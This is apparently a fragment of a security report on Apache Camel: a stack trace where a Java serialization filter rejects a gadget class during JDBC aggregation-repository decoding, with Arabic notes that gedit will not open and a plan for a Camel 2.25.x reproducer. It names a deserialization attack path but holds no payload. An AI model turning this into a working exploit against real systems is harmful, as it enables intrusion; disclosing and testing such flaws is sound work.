at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.doRun(DefaultReactiveExecutor.java:199) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.InvalidClassException: filter status: REJECTED
at java.base/java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1409) ~[na:na]
at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2044) ~[na:na]
at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1898) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2224) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1313) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:104) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:72) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:359) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
... 23 common frames omitted
سيرفض عامل التصفية فئة Gadget ولن يفتح gedit.
### TODO
محاولة تقديم نموذج إعادة إنتاج (reproducer) لإصدار Camel 2.25.x.